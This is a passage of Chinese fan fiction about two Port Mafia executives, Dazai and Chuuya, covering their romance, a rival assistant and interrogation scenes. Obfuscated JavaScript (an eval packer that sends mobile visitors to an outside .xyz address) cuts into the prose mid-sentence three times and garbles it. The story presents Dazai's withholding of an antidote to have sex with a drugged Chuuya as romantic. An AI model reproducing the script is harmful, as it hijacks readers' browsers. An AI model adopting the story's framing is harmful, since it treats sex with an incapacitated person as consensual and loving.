他能看到太宰嘴张张合合在和他说话,但没理解什么意思,只好自顾自开口:“生日快乐,太宰。boss当年和我说,让我留你到十八岁,所以今年的礼物有豪车、游艇和几处房产,等回到横滨你就可以自立门户了,不过……如果你愿意……” 声音越来越低,话越来越含糊,中也觉得体内像是藏了一处亟待喷发的火山,热的他头脑发昏,整个人都要化了。 “自立门户”四个字一处,屋里瞬间冷的像冰窖。 在家等了几个小时,等来喝的烂醉还和别人拉拉扯扯的中也,对方一点也没有看出来他不开心,对他的话也不闻不问,还口口声声说什么要他去“自立门户”。 就算栓上链子,日防夜防,自己的狗还是会对着别人摇尾巴,还堂而皇之要把他这个主人扫地出门。 怎么着,要他给别人腾地方吗? 太宰蹲下和中也对视,歪头疑惑:“中也是什么意思,要撵我走吗?是不是要我给别人腾地方呀?他们来了睡哪?睡沙发?睡我们的房间?还是睡你呢?” 32.谎话 蹲下来和中也对视时,他才发现中也不太对劲。 对方面色潮红,但并不像喝多了酒之后浸染上的红色,反倒像是发热后烧的神志不清,那双钴蓝色眼睛明显没有聚焦,因身体的燥热逼出星星眼泪。 太宰伸手覆上对方额头,体温偏高,但居然没有发热,他正要转身去屋里找只体温计测一测,中也却拉着他的手不让他走。 神智不清的干部大人像迷恋猫薄荷的小猫,把脸颊贴在他的掌心,试图汲取更多凉意。 一反常态的黏人。 太宰忽然想起来在马路边和那个驻唱对峙的时候,那人似乎借着衣服摸到了中也的手指。 他一只手捏了捏中也的脸颊,温柔地安抚对方,另一只手熟练脱下中也左手的手套,捏住对方手指仔细检查。 中也的手常年包裹在手套里,手指肌肤白皙,中指处的针孔便格外明显。 或许是药物作用,小小的针孔现在还没有愈合,稍一用力,就有殷红血珠浮现。 太宰低头轻轻吮去那滴血珠,很轻易从中辨别出迷\药的成分,他半是心疼半是好笑地看了中也一眼—— Mafia干部因为做好事导致被人下药,说出去非叫人笑掉大牙! 日行一善被人阴了也无知无觉的干部大人此时像个不老实的孩子,一心一意想和太宰靠的近一点。 他行为强横,力气又大,再加上太宰抵抗的心思并不强烈,任由中也八爪鱼一样抱住自己。 太宰在心里默念:这次可真的是你主动投怀送抱了哦! 这才对嘛!小狗见到主人就是要这么热情! 太宰一手托着臀,一手扶着腰把中也从床上抱起来,连体婴似的带着对方去找解药。 这种解毒的药片一般放在卧室地板下的暗格里,太宰抱着中也小心跪坐到地毯上,一手扶着对方的腰,一手在地毯下摸索。 “咔哒——”一声后,暗格打开,解毒药片到手。薄薄的白色药片躺在掌心,几乎没有分量,服下后却可以轻而易举唤回干部大人的神智。 太宰一手掰过中也的脸,看着对方失焦的瞳孔,钴蓝色的漂亮眼睛里此刻只倒映着他一个人,全心全意,全神贯注,获得这样的视线,就好像获得了中也的爱。 但这样一份爱只是药物作用下的错觉,喂下解药,理智回神,对方只会高高在上和他说:我们是不可能的,你不要痴心妄想。我奉首领的命令管你到十八岁,现在时间到了,你可以滚了! 多么可恶的嘴脸!光是想想就让人心脏绞痛! 既然如此,那就让他们的关系再复杂一点好了,复杂到永远不能分开,除非死亡。 太宰把那枚白色的药片捏在指尖,冲着中也晃了晃,诱骗道:“中也,很难受吗?吃下这个就好了哦!” 看见对方的视线随着他的动作转动,就像扑着逗猫棒的小猫,无比炽热,无比可爱。 太宰满意点头,勾引似的对着中也笑了一下,然后把药片含进嘴里,闭上眼睛。 他如愿以偿得到一个吻。 …… - 放在床边柜子上的手机叮铃铃响了起来。 这是一间风格简约的屋子,窗帘被拉的严严实实,隔光效果很好。即使时间已经是下午,外面太阳正烈,屋里依旧昏昏暗暗宛如夜晚将要到来。 淡蓝色薄被里,一个橘发身影被铃声吵得不耐烦,挣扎几下才费力睁开眼睛,摸到手机摁下接听键。 电话那头的女声一口流利的意大利语,温和有礼道:“中原先生,您半月前预定在Modena餐厅举办生日宴,您要求的一切我们都已经准备好了,方便询问您什么时候到达吗?” Modena?生日宴?太宰! 几个关键词连成字句,中也立刻惊醒过来,扫了一眼手机上的时间。 下午三点四十五分。 几个明晃晃的字刺痛了中也的眼睛,他费力想要起身,挣扎间却觉得浑身酸疼,尤其是胸前和身后某处。 二十六岁的处男干部愣了一瞬,只觉得大脑通过一处闪电,瞬间有了个不可思议的想法。 中也不可置信瞪大双眼,他起身时动作太大,被子从肩上滑落,清晰露出昨夜欢爱的痕迹,中也悄悄将被子掀开一条缝,飞速往下瞄了一眼,目光所及的地方,沿着胸口到小腿,到处都是斑驳的痕迹。 中也倒抽一口凉气。 他盖住被子,不敢细看。 准备起身的时候,中也忽然觉得左腿处似乎绑了什么东西,他不敢掀开被子,画面太刺激了。 中也悄悄将左手伸到被子里,钩住缠在自己大腿上的东西,轻轻一拉,扯出来一段白色的绷带——绷带另一端还绑着一只苍白修长的手。 手的主人是个十足的懒蛋,借着绷带的力量艰难从被子里冒出头,眼看就要睁开眼睛说点什么。 中也眼疾手快把他塞进被子里。 太刺激了,被子里居然冒出衣衫不整的太宰治! 中也又倒抽了一口凉气,绝望地闭上眼睛,希望这一切只是自己的一场梦。 不过这显然是自欺欺人,因为中原中也不会做梦。 就像纸包不住火,被子也关不住要起床的太宰治,他身子往中也身边贴了贴,几乎是靠着中也钻出来,眼睛还没睁开,先含含糊糊打招呼:“哈啊——,好困。早上好啊,中也!” 不是早上,一点也不好! 人既然已经出来,再无视就有点过分了,中也只好硬着头皮问他:“太宰,你怎么在这?” 视线转动间,该看的不该看的全被中也收入眼底。 他脑袋里那根名为理智的弦“嘣”一声又断了。 太宰身上的绷带被扯的乱七八糟,冷白肌肤覆盖着线条流畅的一层薄薄肌肉,举手转身时肌肉会随着动作若隐若现。 而现在,在漂亮紧实的肩胛处,有很多深深的咬痕,中也几乎可以脑补出来,昨夜和太宰欢爱的人,情到深处,不愿出声,只能咬住对方的肩膀克制住喘息。 那人手应该放在太宰背上,带出一道又一道抓痕,深深浅浅遍布整个上半身,足以想见昨晚多么激烈。 一条腿忽然在被子地下勾住中也的腿,他稍一偏头,就看见太宰睁着那只鸢色眼睛,眼里神色晦暗不明,薄唇带伤,脖子上全是齿痕和咬痕,看起来有点可怜。 中也溃败地移开视线,抬头,左看,右看,故作冷静地在屋子里看了好几遍,嗯,很好,很安静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太宰脱口而出那句话后,一直在等待对方的回答,谁料中也只是嫌恶地看了他一眼,什么话也没说就自顾自抽起烟。 他几乎有些自暴自弃了。 谎话说尽,计划好一切,就算切切实实发生了关系,中也那么负责的一个人却依然只分给他一个嫌恶的眼神。 就因为他是太宰治吗? 太宰劈手夺走中也手里的烟,几乎恶狠狠道:“中也什么意思!话也不说,难道我就活该被你这样那样,连句好听点的话也没有,更别提让你负责了!” “没有,太宰,我不是那个意思!” “那你什么意思?!” 鸢色眼睛里含着朦胧水光,像是一场山雨将落,它的主人凶狠又倔强:“我不管,中也,那你让我上回来。” 四周静了一瞬,中也着急的表情忽然定住了,就好像听到了什么了不得的消息。 接着,中也嘴角慢慢上扬,露出一个浅浅的笑容,海水一样湛蓝的眼睛闪着光,怜爱地看着太宰,如同神明俯视着忠贞的信徒。 他伸出手指小心拭去太宰眼角的泪光,以一种从未有人听到过的柔和声音道:“你不恶心就好。没不负责,我想问问你身体疼不疼?” 33.恋爱日常 六月过后,意大利溽热的夏天轰轰烈烈到来。 魏尔伦抵达Mafia大楼后,准备和中也商量一下休假的事。 意大利各地区帮派势力安分不少,港口黑手党分部基本已经在意大利扎根,不再需要魏尔伦和中也时时刻刻坐镇,忙了六年的干部们终于可以休一个长长的假期。 电梯抵达中也办公室的时候,率先映入眼帘的是躺在长沙发上翘着脚打游戏的少年。 少年听见脚步声,语气欢快地打招呼:“哥,你怎么来了?中也刚刚和港口船只负责人出去了哦,不过,算算时间也该回来了!” 魏尔伦眉间一抽,心说你叫谁哥呢我可不认你这个弟弟。 但对方同为干部,且行事向来乖张,而且,如果揍他一顿,中也肯定不开心。 魏尔伦懒得理他。 “太宰干部,等中也回来让他来找我吧。” 太宰放下游戏机,从沙发上跳下来,白衬衫黑西裤,身形挺拔瘦削,笑起来十分有少年气:“没事啦!哥有什么事跟我说也是一样哦,等中也回来我会告诉他——” “闭嘴!混蛋太宰!” 橘发人影神出鬼没,此时站在门后,怒气冲冲瞪了太宰一眼。 太宰治从善如流闭上嘴,抛给中也一个幽怨的眼神。 两人眉来眼去的动作看的魏尔伦又是眉心一抽。 总感觉周围等会就要冒出来粉红泡泡了。 魏尔伦不想当着太宰的面和中也谈家事,回身道:“弟弟,跟我出来一趟。” 中也不明就里,还以为太宰干了什么事,疑惑地瞪了太宰一眼。 太宰摆摆手表示我可什么都没干哦。 这番眉来眼去又被暗杀王收入眼底,他直接拉着中也的手臂出去,顺带关上办公室的门。 到了外面空旷处,中也疑惑:“老哥,怎么了,在办公室不能说吗?” 魏尔伦发问:“当年不是说养到十八就让那男的滚蛋吗?怎么现在他还在你办公室里撒泼打滚呢?弟弟,我需要一个解释。” “呃——”中也心虚了,心说以后不仅不能让太宰滚蛋,过年还要继续带他回家吃饭呢。 不过既然老哥这么问,看来他和太宰的关系老哥还不知道。 这样也好,还是等兰波大哥也在的时候再坦白吧。 中也拍胸脯保证:“放心,老哥,早晚的事。” 魏尔伦微笑:“弟弟,你撒谎的水平一点也不高明。” 四周诡异安静了一瞬,不会撒谎的干部大人急得脚趾扣地也想不出来要对老哥撒什么慌。 魏尔伦先放过他了,挑明道:“虽然那男的从小看着就不像好东西,不过确实很能干活,以后有什么不想去的任务就推给他。” “啊?……好。”中也拿出杀手锏——转移话题,“老哥找我是要问休假的事吗?” “嗯。”魏尔伦点头,“西部这边还是离不开人,这次休假你回横滨吧。意大利夏天很热,兰波应该会喜欢。” 兰波,魏尔伦和中也都是Mafia的干部,三人实力均能比肩超越者,加上天生有一层亲缘关系,首领还没有放心到能把三人一起放在西部黑手党分部,所以每次休假要么中也回去要么魏尔伦回去。 “没问题啊,正好我也很久没回横滨了,那这事就这么定了!” 聊完休假的问题,中也和魏尔伦告别后,吸了一口气才敢走到自己办公室门口。 手还没摸上门把手,门已经从里面打开,开门的人一手撑住门,堵住中也的路,倚着门框低头笑问:“早晚的事?” 中也心说就知道和老哥的对话肯定瞒不过这个偷窥狂,不答反问:“你这家伙上去就管老哥叫哥是什么意思?也就他不想深究,不让早该揍你一顿了。” 太宰治睁圆眼睛,喃喃道:“……都这样了居然还没看出来我和中也的关系吗?!” 中也气出怒音:“你果然是故意的吧!都说了先别让老哥知道!” 太宰凑近盯着中也的眼睛:“中也是什么意思,难道要让我当小三吗?” 此话一出,吓了中也一大跳,他做贼一样左右扫视一遍,一把把太宰推到办公室里,威胁道:“混蛋!你小声一点啊,这事很光彩吗?!” 太宰:“你果然是这么想的!没想到衣冠楚楚的干部大人私底下居然这么禽兽!我要扒了你的衣服让大家看清你腐烂的内在!” 他说的好像确有其事一样,伸手就拽住中也的领带,手指灵活地顺着衣服的缝隙钻进去,嘴上说着脱衣服,手掌却贴着中也腰侧光滑细腻的肌肤不肯松开。 “滚滚滚!!!王八蛋!”中也气出弹舌,依旧极力控制音量,“当个屁的小三!你这爱好老子满足不了,滚去找别人!” 说着,他抓住对方的前襟,努力拉开两人的距离。 幸亏他力气大,不然都按不住随时随地发神经的太宰治。 来硬的占不到便宜,太宰换了策略,低头落寞道:“那为什么中也不和别人介绍我?我很拿不出手吗?” 此话纯属污蔑,自从太宰十八岁那天夜晚过后,中也并不避讳和太宰亲近,阿呆鸟外交官和一些亲近的部下早知道了两人的关系。 没和老哥说,是因为觉得见家长这事要从长计议,首先要扭转一下太宰在老哥心里的形象。 比如多安排太宰帮魏尔伦分担一点工作什么的,目前看来进展良好。 心里清楚归清楚,爱人的小心思还是要照顾一下,中也顺着太宰的话接道:“好好好,算我的错!那你要怎么办?” 太宰露出诡计得逞的坏笑,凑过去和中也耳语。 对方的污言秽语刚听到一半,中也脸颊爆红,瞪了太宰一眼,怒骂:“滚蛋!根本不可能,你想都别想!” 对方黏黏糊糊和他勾着手指,眼睛亮晶晶看着中也。 中也试图甩开对方的手,没成功,底气也跟着弱了几分:“……不行,太过分了,我是男的!” 对方凑过来亲了嘴角,发出响亮的“啵”的一声,依旧眼睛亮晶晶的看着他。 中也负隅顽抗:“……酒很贵,不能那样!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949212|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方见缝插针:“那就是除了酒其他都可以咯!剩下的交给我吧,保证会很舒服的。” 对上那只亮晶晶的眼睛,中也很少能说出三个“不”,而且心里很清楚,就算再怎么拒绝到了时候对方依旧敢对他为所欲为。 都是惯的。 中也无力道:“……交接完工作就要回横滨了,至少今天不行!” 太宰凑过去和他接了个缠绵的吻。 - 飞机抵达横滨时候正是夜晚,这是属于Mafia的时刻。 刚陪着中也一起找森先生汇报完工作,森鸥外就笑眯眯让太宰治留下 一口气给自己放了一个半月长假的太宰治终于想起来自己还是个干部,甚至还是首领手下直属部队。 是以虽然回了横滨,能休假的却只有中也一个人,他还要苦哈哈把攒了一个月的任务一口气处理干净。 好想辞职。 批复完大部分文件,大半夜还要去港口Mafia地牢里接管审讯的事情,太宰怨气重的堪比千年厉鬼。 地下审讯室潮湿阴冷,入口处静到能听见清晰的水滴声,或许是某个叛徒在被吊起来放血,偶尔从幽暗深处传来一声凄厉瘆人的惨叫声,回声在长满幽绿苔藓的黑的发亮的墙壁上辗转,激起一阵寒颤。 太宰披着那件黑色大衣,里面是正式的黑色西装三件套,身后跟着两个黑西装戴墨镜的黑手党,墙壁上昏暗的灯光映出三个不苟言笑的身影,皮鞋踩在石砖上没有一丝声响。 推开审讯室冰冷的铁门,早有几个黑手党低着头站在一旁,太宰步伐轻快了一点,嚷嚷着累死了就朝着屋里唯一的皮质转椅扑过去,舒舒服服将整个人陷进去,才笑着道:“好久不见了呀,诸位,怎么都那么紧张。真让人为难,我虽然是你们的长官,资历却还没有你们多,仰仗诸位多担待才是!好了,寒暄的话我就不多讲了,我能干的部下们既然能抓住犯人,想必也早审讯出结果了吧?” 几位站成一排的黑手党头更低了,其中一人上前一步,语气肃正道:“报告太宰大人,抓捕住的两名犯人刚刚发现…全部……全部死亡,死因是齿缝里藏了毒药。” 黑手党成员的演习训练里着重强调过,抓捕到犯人的第一件事就是往犯人嘴里塞止咬器,防止对方服毒自杀,就算对方服下毒药,Mafia也有专门的医护人员和异能者,能抢救回服毒三分钟内的犯人。而现在,直属于首领的作战部队居然让两名犯人以这么轻巧的方式死亡。 几名下属冷汗涔涔,恨不得把头埋到地上。 太宰笑吟吟朝着站在左后侧的黑手党伸出手,同时疑问道:“犯人死前谁负责看押的?” 离太宰最近两位黑手党被推了出来。 砰砰砰砰。 一颗子弹在额头,一颗子弹在心口,两名黑手党当场死亡。 离得实在太近,鲜血零星溅到太宰拿枪的手上。 他“啧”了一声。 四周立马乌泱泱跪倒一片。 一片死寂里,“汪汪汪……”的欢快电话铃声突兀响起。 34.转折 刺耳的铃声突兀地在夜晚响起,下属们将头埋的更低,唯恐被这位新晋干部注意到,内心都在腹诽,谁敢在这个时候给太宰治打电话,简直是活腻歪了! 有幸和太宰治共事过的黑手党对他的评价都是喜怒无常,心情好了或许会拿出茶点热情招待部下,心情不好的时候则毫不顾忌地杀了共事的黑手党,手法残暴。 但那张一直挂着微笑的脸上很少有其他情绪,心情好不好也全在太宰治一念之间,而今晚的他显然心情不好。 充斥着血腥味的狭窄房间里,所有人都在为电话那头的人默哀。 太宰治完全懒得在意下属们在想什么,接起电话就开始抱怨:“怎么现在才给我打电话?我可是等了很久了啊!” 中也已经在家里等了他三个小时,难得太宰在工作他居然在休息,生出点莫名的心虚,问道:“工作那么多?不会今天都回不了家吧?” 太宰继续抱怨:“都是森先生的错!居然就这么把资历尚浅的我推上干部的位置,好多事情我还不太熟练,做的太慢了。” 地下一众黑手党汗颜,这人一个人的案底摞起来够把黑手党全体成员来回枪毙十几次,论起资历他当第一没人敢当第二,哪来的脸说自己不熟练! 中也了然:“不然我去帮帮你?” 太宰:“会不会太辛苦了?” 中也:“是很辛苦,那我还是在家歇着吧!” 太宰:“但是…我需要你。” 中也轻笑一声,在电话挂断前,很轻很轻地回了一句“我也想你。” 挂断电话,刚才还死气沉沉如丧考妣的太宰治忽然站起来,指挥道:“麻烦各位了,先把这两个叛徒的尸体处理一下吧!哦对,把这间审讯室也打扫一下哦,等会有人要来!” 太宰身后的一个黑手党壮着胆子问:“是boss要来吗?” 毕竟刚才的电话里提到了森先生,太宰又莫名其妙拿出这种从来没见过的接待贵客的资格。 心情很好的太宰非常好说话,语气愉悦道:“我还没衷心到那种地步啦!是中也要过来,这里交给你们了,我出去看看。” 看到太宰迈着轻快的步子离开地下审讯室,在场的黑手党无一不松了口气。 有些人虽然没见过中也,但此刻他们异口同声感叹:中也,简直是救星! - 太宰一步步走上台阶,离开沉闷的地下监狱,回到宁静的夜晚。 地下监狱选址偏僻,夜晚更是数里不见人迹——除了和黑夜融为一体的黑手党成员们,仰头只能望见几颗稀疏的星星点缀天空,通向横滨繁华市区的唯一一条道路尽头,一轮昏黄的圆月浮在空中。 圆月之下,一辆高级轿车在马路上飞驰。 太宰看着视野内那颗淡色的小点越来越大,嘴角已经不自觉挂上笑容。 几十米外,车窗缓缓降下,副驾驶上一个橘色头发的身影探出头朝着太宰挥挥手,露出一个十分张扬的笑。 太宰不自觉上前几步,也跟着笑起来,干脆走到路边,等到车在他面前缓缓停稳后,他十分有风度地迎着对方下了车。 “往那一站跟迎宾一样,哈哈,胜过百亿名画啊!”中也往那只准备搀扶自己的手臂上搭了件外套,笑道:“晚上冷,再穿件衣服。什么事是你不熟练的,说来听听?” 太宰不满:“好讨厌,居然一来就讨论工作!” “啊行行行,我不跟你讨论工作,让中村来吧!”中也无奈一笑,在太宰疑惑的目光中解释道,“小林中村,我的新助手。好几年没回来,审讯这边的工作还是他熟练点。” “中也先生过誉了。” 随着车门开合声结束,主驾驶上下来一个黑发黑眼的男人,身形落拓,笑容清爽,自然而言地站到了中也身边。 太宰上下扫了他一眼,皮笑肉不笑:“这位啊,我认识,确实很有手段,就是想当干部也轻而易举吧?” 他俩确实认识,毕竟在组织里的地位都不低,但中村对太宰的认识仅限于知道他是Mafia那位功绩过人的干部,偶尔会有业务上的接触。 不过,比起对方的地位和权力,更让中村艳羡的是太宰和中也的关系。听说中也当年在一伙偷渡客手里救下十二岁的太宰,之后一直带在身边悉心培养,就算后来中也去了意大利,每月也会抽出一两天来陪太宰。 中村也是中也在某个战场上无意救下的少年,认识中也甚至比太宰还要早,但他显然没有那么好的运气,中也连他的名字都没记住。于是他进入黑手党底层,靠着功绩一点一点往上爬,好不容易有了点起色,没等到正式向中也介绍自己,先等到中也要去西部长期出差的消息。 执念太久成了心魔,等了五年才等到了中也将要调回来的消息,中村立马打通关系,顺利当上了中也的临时助手。 中村站在和中也并肩的位置,笑着朝太宰伸出手:“我也早听过太宰先生的大名,很是敬仰。” 太宰根本不想握那只手,碍于中也在侧,忍气吞声露出一个凉凉的笑容:“我也很是敬仰您啊!” 两人的眼神在空中接触,一眼就看穿了对方虚伪的样子。 中也看着他俩握了半天的手,惊讶得要命,要知道,太宰私下跟男性站的近一点就直呼窒息,更别提勾肩搭背握手什么的。 他大笑道:“你们俩关系还蛮好的嘛!怎么认识的?” 两人触电一样收回手,太宰还嫌弃地在身后抹了两下。 中村:“太宰干部才干过人,无论是审讯还是开辟新商业版图都很在行,是个全能人才。我们偶尔会有合作的时候,一来二去就熟悉了。” 太宰点点头算作承认。 其实他早就知道中村这个人了,某年情人节他从Mafia收缴的一堆给干部大人的巧克力和情书,一一警告过后也都销声匿迹了,唯独这个人跟个愣头青一样年年不断。 要不是因为他归属于中也的部队…… 想到这,太宰就没什么好脸色,默不作声拉过中也准备去审讯室看看。 中村还在后面喋喋不休:“当时中也先生只说了要帮忙,原来是来帮太宰干部吗?我倒是很好奇,以太宰干部的手段和心智,我们又能帮上什么忙呢?毕竟Mafia这一套新的审讯体系可是太宰干部一手创立的。” 你跟谁是“我们”啊?! 太宰没接话,默默和中也站的更紧了。 中也闻言,狐疑地看了太宰一眼:“真是你创立的?” 太宰十分缓慢地点了一下头。 中也露出个“我就知道”的表情,心里却很开心,本来想着过来帮忙顺便看看太宰,现在看来这家伙就是觉得一个人太无聊了所以撒娇让自己陪他嘛! 正好自己也是这么想的。 “你这家伙怎么不早说!还特意把我骗过来!”中也骂了两句,“还说什么不太熟练,整个Mafia没人比你更熟练了吧!撒谎精!” 太宰低头挨骂,熟练道歉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958781|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音一转:“我就是想要中也过来嘛!要不,先让这位助手先生回去吧,这么晚了还要陪着我们加班——” 中也也十分抱歉道:“嗯,要不中村你先回去吧,这的事交给我和太宰就行了!” 毕竟大半夜因为一个玩笑把人骗过来加班什么的,实在太缺德了,有良心的中也干部十分惭愧。 中村淡淡道:“无事。本来也是我主动要过来的。我一直以中也先生为榜样,能有机会多锻炼自己我高兴还来不及。” 太宰惊讶道:“原来是这样!好厉害,不如来给我当助手吧!” 中村张口拒绝:“虽然能成为太宰干部的部下是很荣幸的事,但……” 太宰打断他:“哇哦——,你这么想真是让我不好意思,那么,中村助手,今晚的事就交给你了,哦对——”他低头编辑消息,给审讯室的部下发过去,满意道,“好了,现在就没问题了,去到地下之后会有人引导你的,一点简单的小事而已啦!” 说完,太宰挡在中也和中村之间,回头对中也笑嘻嘻道:“啊,真幸运啊,居然有好心人帮我完成工作了!那我们先回家吧,中也?” 中也:这对吗? 中也一时不知道该摆什么表情,毕竟他俩一商一量好像很合理,而且关系也很好的样子,互相帮个忙也没什么不对。 太宰拿出杀手锏,对中也温柔一笑:“好啦,中也!我今天也很累了,助手先生又那么主动,这回就算我们欠他一个人情吧!” 说最后几个字时,太宰显然困得不行,尾音黏黏糊糊连在一起,好像下一秒就要睡倒过去。中也心里那杆天平立马倾斜了,探出头对中村道:“那今天麻烦你了!” 中村盯着中也的眼睛,微笑道:“荣幸之极。不过你的话我可当真啦?算你欠我一个人情。干部大人的人情我可要万分认真地思考该怎么用。” 这副善解人意落落大方的样子和某个只会偷懒一肚子坏水的人形成鲜明对比。 太宰内心冷笑:真装! 中也扬眉笑道:“当然没问题!” - 太宰拉着中也一路飞驰回到家中。 合上门,熟悉的气息包围,太宰治抱着中也无理取闹:“中也,换个助手吧!我不喜欢他。” 中也捉住那只在自己身上作乱的手,道:“刚才不是还很困吗,又是装的?而且,中村明明是我的助手才对吧?你不喜欢他我倒是很喜欢。” 这话绝对没有其他意思,中村对港口Mafia这几年的发展业务十分熟悉,用来做临时助手帮助中也快速建立联系再合适不过,不过这句“喜欢”还是太刺激人了。 太宰一口咬住对方脆弱的脖颈,手脚并用抱住中也,生气质问:“那你是最喜欢他还是最喜欢我?” 这又是什么奇怪的问题? 就在此时,中也的手机响了,他不慌不忙拿出来看了眼消息,熟门熟路道:“最讨厌你。” 太宰愣了一瞬,释放出来一点他此刻非常不开心的信号,更用力地抱住中也,希望得到对方回应。 中也却没注意到,他收到了一封来自意大利的邮件。 半月前和太宰滚上床之后,关于那晚的记忆他一点也没有。可按理说如果自己仅仅是喝醉,对那晚的事应该会有一点零星的印象。 除非他除了醉酒,还中了点别的东西。 当天他就给研究所送去自己的血液样本,经过半月的比对研究,详细的报告终于发到了他手机上。 35.调情 要点开这份报告吗?中也在心里问自己。 他手指犹豫一瞬,某种兽一样敏锐的直觉告诉他,里面写的东西不会让他开心的。 犹豫的时间太久,引起某人不满,嘟嘟囔囔到:“中也~,你不会在跟你那位新助手发消息呢吧,聊这么开心,干脆打个电话把人叫家里好了!” 小臂上缠满绷带的手突然伸过来,眼看要从中也手里抽走手机,中也眼疾手快删掉消息。 反正调查结果就在那,他想要随时可以给意大利的负责人打电话,当务之急还是别让太宰发现这件事。 中也知道自己撒谎肯定瞒不过太宰,于是转换策略:“明明是你这家伙一晚上都在提我的那位新助手吧!如果不是你喜欢那小子的话——,难道是你吃醋了?” 此话一处,威力堪比核.弹,炸的太宰三魂七魄满天飞,他大声反驳:“才没有!无论那种猜想都让人很恶心好不好!中也怎么会这么想我,那种男人多看一眼都恨不得把眼睛挖了,只有品位低下没有眼光的单细胞生物才会喜欢吧!我不管嘛,中也赶紧换个助手,我可不要每次去找中也都看见那张脸!” 中也轻笑:“既然不是喜欢他,那我就理解为你吃醋了,唉,你这家伙漫天乱吃飞醋的毛病什么时候才能改改,要相信我的眼光啊!” 为自己的狗狗吃醋,这种事情要是承认了会被嘲笑一辈子吧! 他花费半秒想象了一下那个画面,整个人宛如被踩到尾巴的猫,继续反驳:“我……唔唔唔”才没有! 中也伸手捂住他的嘴,制止了他接下来的话。 客厅只开了一盏昏黄的落地灯,沙发上一上一下两个人影交叠,被捂住嘴的黑发少年轮廓尚且青涩,而半张赭色卷发下的侧脸线条却成熟而诱人,像是某种熟到十分的饱满多汁的水果,正散发着糜甜的果香。 见到太宰终于安静下来,中也借着昏黄的光线好好欣赏了一会他这位比他小了八岁的男朋友,从乌黑的眉到红润的唇,没有一处不让他满意。 堵住嘴的手慢慢滑到侧脸,再往上,推开额发和左边挡住眼睛的绷带,那双他最喜欢的鸢色眼睛完完整整露出来,里面带着一点少有的迷茫气,像朵美艳但不自知的花。 中也很少有这么主动的时候,所以也从没见过太宰这副懵懂羞涩的模样,他觉得很可爱,大拇指轻轻擦拭太宰红润柔软的嘴唇,回忆着接吻时的触感。 接着,他伸手从太宰怀里勾出怀表,看了一眼,又拿到太宰跟前晃了晃,挑眉笑问:“天亮还早,要不要做点别的?” …… 斜阳透过窗帘的缝隙,在淡蓝的床单上投下一片狭长的光,中也遵循着体内的生物钟艰难睁开眼。 淡淡的红酒香气挥之不去,昨晚那些让人血脉偾张的画面如同电影画面一样在脑海里循环播放,脸颊顿时滚烫起来,中也把手贴在脸上想要降降温,又瞥见手腕上被勒出来的红痕。 这糟心的痕迹过了一晚上还没有消退! 罪魁祸首手臂还环着他的腰,无知无觉睡得正香。 中也怒上心头,一脚扫过去把人踹醒,太宰闷哼一声,眼也没挣,身体倒是很自觉地靠得更近,抱着中也继续睡觉。 “不用看表也知道现在下午了吧,你到底有没有点上班的自觉?太宰干部。” “好吵哦!” 太宰干部身体力行,用嘴赌上中也的话。 被人摁着亲了一会,中也更生气了,一把推开他,怒道:“没刷牙不准接吻!” 太宰不慌不忙:“刷了哦!只是中也不知道而已,不过我不会怪你的,毕竟谁也不能要求晕过去的人记事嘛!” 中也深吸一口气,无力反驳:“闭嘴,混蛋,不准再提了!” “中也是想让我闭嘴吗?”太宰暗示道,“也可以啦,不过方法刚刚已经教过中也了,再笨的狗都能学以致用了吧?” 中也扫了他一眼,轻笑一声,慢慢靠近,太宰治双手交叠搭在胸前,闭上眼睛—— 中也直接越过他,去床头柜上摸来烟和打火机。 “啪嗒”一声,火舌吻了一下细长的烟。 “啊好过分!”太宰撅起嘴抱怨,“害我白期待了,烟有什么好吸的?” 嘴上抱怨,他还是起身靠到中也身边,右臂十分自然地环住中也腰身,把下巴放在对方肩膀上,伸出左手帮他接住烟灰。 “吸二手烟很不健康啊!我要吸一手的。” “桌上还有,自己拿。” “不要,让我尝尝你手里的!” 中也无奈,只好随他,两人分完一支烟,困意也散的差不多了。中也问了几句太宰的工作安排,得到对方肯定的答复后才放下心来。 - 这样不务正业的日子过了一周。 太宰治从来没有一天是准时去上班的。 通常是磨蹭到接近中午,几个部下轮番给太宰发消息询问作战计划,请示了几遍才请动这尊大佛。 前脚送完太宰出门,后脚中也就久违地接到了一个电话。 来电人小林中村。 一周前太宰一直闹着说要辞退这个助手,中也只当他是小孩子胡闹,根本没有放在心上——毕竟太宰那个看谁都不顺眼的性子也不是一天两天了。 “喂,中村,怎么了?” “中也大人。”中村声音温柔,“我来向您辞职,虽然和您共事不久,不过我真的很仰慕您的风姿。不过boss有新的指令,接下来会给您安排新助手。” “这么突然?”中也狐疑,boss的性格他知道,应该很少管这种小事才对,更何况之前对接工作一直是中村负责,他还是自己部下里提拔上来的,知根知底,各方面都很合适。 “嗯,或许是上级觉得我不合适吧,不过这段时间跟着中也先生我确实学到了很多。看来我还需要更努力,才能配得上中也先生。” 到底有几个敢对中也指手画脚的上级?! 